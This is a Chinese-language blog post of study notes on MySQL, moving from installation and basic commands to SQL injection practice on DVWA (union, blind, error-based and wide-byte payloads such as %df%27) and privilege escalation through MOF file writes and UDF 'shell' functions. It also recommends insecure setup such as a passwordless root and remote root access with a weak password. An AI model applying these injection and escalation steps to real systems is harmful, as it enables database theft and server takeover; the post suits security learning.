MySQL小结

发表于 2020-09-21 分类于 知识整理 阅读次数：

本文字数： 67k 阅读时长 ≈ 1:01

Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,黑客可以利用该漏洞执行任意SQL语句。

MySQL安装及配置

Mysql安装（这里版本为8.0.17）

第一步：下载Mysql

地址：

https://dev.mysql.com/downloads/mysql/第二步：配置Mysql环境变量

将下载的mysql文件夹bin目录加入环境变量，D:\mysql\bin

第三步：安装mysql

首先执行mysqld --initialize-insecure(自动生成无密码Root用户)，然后以管理员的权限执行CMD：mysqld install，即可完成安装。

第四步：启动/停止mysql

net start mysql

net stop mysql

登陆MySQL及配置密码

登陆MySQL(这里创建的是无密码root)

mysql -u root -p，提示输入密码时候无需输入，回车即可。

更改Mysql密码

ALTER USER root@localhost IDENTIFIED WITH mysql_native_password BY RootPwd@123456;

flush privileges;

开启mysql远程

查看是否支持远程： select host ,user from user;

第一种：update user set host =% where user=root;

第二种：grant all privileges on *.* to root@% identified by 123456 with grant option;

MySQL命令学习

有关查看数据库相关信息的命令：

select @@version查看当前MySQL版本

select user(); / select system_user();/select session_user();查看当前用户

select database();查看当前数据库

select connection_id();返回当前客户的连接ID

select now()查看系统当前时间

select @@basedir；查看Mysql的安装路径

select @@datadir;查看数据库安装路径

show databases;查看当前MySQL所有库名

mysqldump -u root -p --default-character-set=UTF8 [database] [table] > dump.txtMysql导出位.txt

mysql -u root -p --default-character-set=UTF8 database_name < dump.txt导入

一些命令

use <database_name>使用某个数据库，需指定库名

show tables;查看当前数据库的数据库表

select * from users; 查询users表中所有的数据

select first_name from users;查询users表中first_name字段的所有内容

select concat(user,0x3C,password) from users; concat连接字符串函数

select group_concat(user,0x3C,password) from users;将user,password字段所有内容连接成一个字符串

实践：

select * from users limit m,n;查询user表中数据，输出第m(代表下标，下标都是从0开始)条开始的n条数据

select concat(user,0x3c,password) from users limit 3,2;将users表中user、password字段第四、五条数据用<号连接，输出

一些高级命令

select mid(user(),2,3);mid字符串截取，截取当前用户名第二个字符开始的三个字符

select substr(user(),2,3);subsets字符串截取，截取当前用户名第二个字符开始的三个字符

select ord(mid(database(),3,1));/select ord(substr(database(),3,1));查询当前库名的第三个字符的ASCII

select ascii(s);查询s的ASCII值，同ord

select char(97);将ASCII值转为字符串

select count(*) from users;查询users表中数据条数

select length(user());查询当前用户名长度

select sleep(2);延时两秒返回数据

select * from users order by user;根据字段名排序(拓展：order by 8执行正常，order by 9报错，证明字段个数只有八个)

select password from users where user_id=2 or user_id=3;查询users表中user_id为2和3的password字段的值

增删改查

增加一条数据

需要匹配users表中字段个数，如果字段不匹配会报错；如果字段内容限定为not NUll，字段为空时也报错。

insert into users values(9,test,test,test123,ssss,lujing,2019,2020);

修改数据

update users set user=ccc where password=ssss;将password为ssss的那条数据的user字段内容更新为ccc；多条数据用逗号隔开 set user=ccc,user_id=20

删除数据

delete from users where user_id=9;删除users表中user_id为9的那条数据

drop table users;删除users表

drop database dvwa;删除dvwa库

Mysql数据去重

(找了半天，只能将查询结果导入到另外一张表中了。。。)

利用distinct进结果去重，然后将查询的结果导入到另外一张表中。

insert ignore into user_info select distinct name,sex,id_card,tel,address,mail from users_room;

SQL注入可能用到的语法

基础：

基于and/or判断注入点

首先判断页面正常返回。

然后select user,password from users where user_id=2 and 1=1;正确执行(and两边表达式均成立，返回为真)页面正常返回

select user,password from users where user_id=2 and 1=2;返回为空(and两边表达式一真一假，返回为假)页面返回错误或者不正常

即可证明SQL存在

OR同理—>

select user,password from users where user_id=2 or 1=1;返回所有user和password的内容(or两边表达式都为真且1=1恒成立，则返回所有)

select user,password from users where user_id=2 or 1=2;仅返回一条数据(1=2不成立,因此只返回user_id=2的那条数据指定的内容)

注意：and 1=1 并非绝对，只要是表达式，类似于’s’=’s’等等，，，，

判断SQL注入存在，需要三个页面对比才行。

注入点的多种情况

select user, password from users where user_id=2;如果源于句，使用了引号将ID值扩起来，需要构造如下：where user_id=2 and 1=1,也即是2 and 1=1，2 and 1=2

同理，如果使用双引号，括号扩起来的，也需要按照上面的情况。(如果where user_id=(1)这样呢？)

试一试：2,2?

SQL注入的原理

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

高级查询语法

查询结果排序

select * from users order by last_name;查询users表中的所有数据，并使用last_name字段内容排序(根据的是ASXCII码)

可以利用select * from users order by N;判断users表字段个数，N小于等于字段数正常返回数据，大于则报错。

-- -,#在数据库中表示注释之后的内容,/**/表示多行注释,注释掉扩起来的内容

select * from users order by last_name#asdasdas;

select * from users order by last_name-- -asadasdas;

多行注释也可以用于行内：select * from users/**/order/*ssssss*/by last_name;

其他几个排序：

降序排列查询结果：select * from users DESC;

升序(默认排序):select * from users ASC;

组合查询

一个查询中从不同的表返回结果数据

在一个表中执行多个查询，按一个查询返回数据

select user, password from users where user_id=2 union select last_name, first_name from users where user_id=4

查询user_id=2的use,password字段内容，查询user_id=4的last_name,first_name字段的值，一起返回(也即是同时返回。。。)

模糊查询

关键词like，通配符%,*,.等，常用的正则规则字符。

select * from users where avatar like %hac%匹配users表中avatar字段中含有hac的内容

“*“表示匹配零个或多个在它前面的东西。例如，”D*“匹配任何数量的”D”字符

“.“ 匹配任何单个的字符。

当使用正则匹配时，使用REGEXP和NOT REGEXP操作符（或RLIKE和NOT RLIKE，功能是一样的）

模糊查询中的注入：

select * from users where avatar like %hac% union select password from users;首先查询avatar字段中包含hac的数据，然后查询users表中的password字段内容，然后组合起来返回(会去重)

一些事项：

select user_id from users union select password from users;正常执行(组合查询时候，前后查询的字段数要一样，这样就是错误的：select user_id from users union select password,user from users;)

SQL注入示例

题目：where user_id=2处存在注入点，要求判断注入点并查询到user,password字段内容。

源于句：select user_id from users where user_id=2;

解：

select user_id from users where user_id=2 and 1=1-- -;正常select user_id from users where user_id=2 and 1=2-- -;不正常，结合起来判断存在注入点select user_id from users where user_id=2 order by 1-- -;正常select user_id from users where user_id=2 order by 2-- -错误，证明只有一个字段(在使用的user_id)select user_id from users where user_id=2 union select 1-- - 1为占位符，填充使用select user_id from users where user_id=2 union select database()-- -替换占位符，可以查询一些常用信息(版本，数据库名，用户名，路径等)select user_id from users where user_id=2 union select concat(user,0x3c,password) from users-- -(使用concat连接user,password一起输出，就不用连续使用union select)

Mysql系统表利用

infomation_schema说明

MySQL中，把 information_schema 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中，有数个只读表。它们实际上是视图，而不是基本表，因此，你将无法看到与之相关的任何文件。

information_schema数据库表说明:

SCHEMATA表：提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。TABLES表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，创建时间等信息。是show tables from schemaname的结果取之此表。COLUMNS表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。STATISTICS表：提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。USER_PRIVILEGES（用户权限）表：给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。SCHEMA_PRIVILEGES（方案权限）表：给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权表。是非标准表。TABLE_PRIVILEGES（表权限）表：给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。COLUMN_PRIVILEGES（列权限）表：给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。CHARACTER_SETS（字符集）表：提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。COLLATIONS表：提供了关于各字符集的对照信息。COLLATION_CHARACTER_SET_APPLICABILITY表：指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。TABLE_CONSTRAINTS表：描述了存在约束的表。以及表的约束类型。KEY_COLUMN_USAGE表：描述了具有约束的键列。ROUTINES表：提供了关于存储子程序（存储程序和函数）的信息。此时，ROUTINES表不包含自定义函数（UDF）。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。VIEWS表：给出了关于数据库中的视图的信息。需要有show views权限，否则无法查看视图信息。TRIGGERS表：提供了关于触发程序的信息。必须有super权限才能查看该表

https://blog.csdn.net/demonson/article/details/80388677（MySQL information_schema 详解）

information_schema使用示例

获取表名判断表的数量获取字段名组合语句

MySQL注入基础

常用系统函数

常用关键字/函数

系统表简介

Information_schema数据库是MySQL自带的，它提供了访问数据库元数据的方式。什么是元数据呢？元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

该库有多个表其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。

更多介绍：

https://blog.csdn.net/Touatou/article/details/80775601

显性注入

经过在线DVWA http://43.247.91.228:81测试(介绍基础，所以选择Low级别)，在线的级别调不好，请本地搭建。

源码：

重点看源码中：SELECT first_name, last_name FROM users WHERE user_id = $id

漏洞产生原因：SQL语句未经过处理，直接将传入的$id当做参数执行。(这里不进行 or 1=1之类的测试)

构造语句进行解释：user_id=$id,如果传入的$id值为1 order by 5-- -，源语句变成了：

user_id=1’ order by 5-- -，在数据库中是可以正常执行的。

当num为2时， 也就是user_id=1’ order by 2-- -正常执行，为3时报错，说明当前库的users表有两个字段。

开始注入

这里数据库版本大于5.0，测试的是字符型，因此是 ‘ and ‘1’=’1’，省略 1’

这里并非直接获取密码啊，什么的，仅仅展示可能用到了的语句。

开始注入之前，获取有用信息：获取数据库表名：获取字段名获取字段内容

至此，已经爆出数据库中可用的账号密码，非root。类似于XXX系统的用户/管理员账号密码。脱裤子的话请绕行- -

MySQL函数报错

Floor

当使用 floor，rand，group by 连用时候会报错。利用报错，使用concat连接，可以实现注入。

updatexml

extractvalue

exp

name_const

几何函数

宽字节

参考：

https://xz.aliyun.com/t/3992#toc-3

MYSQL client链接编码的锅

由于编码不一致，导致的问题，主要是汉字占用了3个字节。关键字%df

，当客户端连接编码设置为GBK的时候 与php进行交互的时候就会出现字符转换 导致单引号逃逸的问题。

测试payload: index.php?id=%df%27

MYSQL iconv函数 mb_convert_encoding函数的锅借用先知: $id =iconv(GBK,UTF-8, $id)%df%27===(addslashes)===>%df%5c%27===(iconv)===>%e5%5c%5c%27其实就是 utf8 -> gbk ->utf-8 低位的%5c 也就是反斜杠干掉了转义单引号的反斜杠。

Big5编码导致的宽字节注入

猜测代码: iconv(utf-8,BIG5,$_GET[id])

payload构造同上: 功’ -> addsalshes -> 功 -> iconv -> %A5%5C%5C%27->¥ 逃逸单引号

%E8%B1%B9

SQL盲注

这里包含了Bool和Time类型

开始注入

本地搭建的DVWA，在线的显性注入出了点问题，就本地搭建了。

这里测试使用了=号，为了直观，真实环境协同使用<、>快速判断

仔细观察通过长度和返回时间两种方式，下文对时间的不过多说了

判断数据库名长度判断数据库名称判断数据库表名

通过limit控制查询的表，通过substr截取表名字符串，挨个判断值

判断字段名

原理和判断表名一样

判断字段内容

到此，盲注的基本方法已经完成

DNSLOG

有时候注入发现并没有回显，也不能利用时间盲注，那么就可以利用带外通道，也就是利用其他协议或者渠道，如http请求、DNS解析、SMB服务等将数据带出。

条件：

mysql.ini 中 secure_file_priv 必须为空

mysql 新版本下secure-file-priv字段 ： secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

从payload看出load_file的路径是windows下的UNC路径，所以mysql带外注入只能发生在windows机器上

MySQL提权

SQLMap+MSF

已知用户名密码情况下，利用Sqlmap结合MSF进行提权。(需要对目录有写权限)

MOF提权

简介：

mof是windows系统的一个文件（在

c:/windows/system32/wbem/mof/nullevt.mof）叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后，然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行，这个mof当中有一段是vbs脚本，这个vbs大多数的是cmd的添加管理员用户的命令。

必备命令

所需要的SQL语句

select load_file(D:\wamp\xishaonian.mof) into dumpfile

c:/windows/system32/wbem/mof/nullevt.mof;

必备脚本

UDF提权

这里的前提是已经上传了udf.dll,如果没有写入权限，emmm,,,我不肥了。。

注意事项：

mysql<5.2版本的将.dll文件导入到c:\windows 或者c:\windows\system32 目录下。mysql>5.2版本的将.dll文件导入到/MySQL/lib/plugin/ mysql安装目录下。如果报错内容为：The MySQL server is running with the --secure-file-priv option so it cannot execute this statemen请在MySQL配置文件my.ini文件的[mysqld]选项内加入secure_file_priv =然后重启mysql服务。。如果报错--secure-file-priv 又无法修改my.ini，则没有办法。

详情参考：--secure-file-priv 特性

手动UDF提权

制作udf.dll

SQLMAP下路径：

利用 1

查看plugin目录show variables like %plugin%;

提示：由于MySQL>5.2版本后，在其安装目录的lib目录下没有 plugin 目录，所以，我们得新建这个目录，并且将我们的 udf.dll 文件放入 plugin目录下，我们执行下面命令，使用NTFS ADS流创建 plugin

导出UDF(也即是将之前生成的lib_mysqludf_sys.dll上传到目标文件夹)创建函数：CREATE FUNCTION shell RETURNS STRING SONAME lib_mysqludf_sys.dll

注意：如果创建函数时报错，请根据lib_mysqludf_sys.dll中的函数创建。

利用2

利用交互式的SHELL，mysql -uroot -pxxx无法继续交互，需要参数e解决这个问题。

如没有指定database，将会出现错误，而使用UNION，将不会有回显，一定出现问

题，将会很难定位，故选择以mysql.x的方式指定。

UDF提权大马

可以使用T00ls udf.php

总结

注入产生原因就是对用户输入的数据未进行严格校验，导致可以构造恶意语句。

本篇文章仅仅介绍MYSQL的基础。

本文作者： oudeniu本文链接： https://butnomingzi.github.io/posts/c118d50/版权声明： 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

总结 漏洞 MYSQL

PowerShell免杀工具 xencrypt

Python Scapy小工具

文章目录站点概览1. MySQL安装及配置1.1. Mysql安装（这里版本为8.0.17）1.2. 登陆MySQL及配置密码1.3. MySQL命令学习1.4. Mysql系统表利用2. MySQL注入基础3. MySQL提权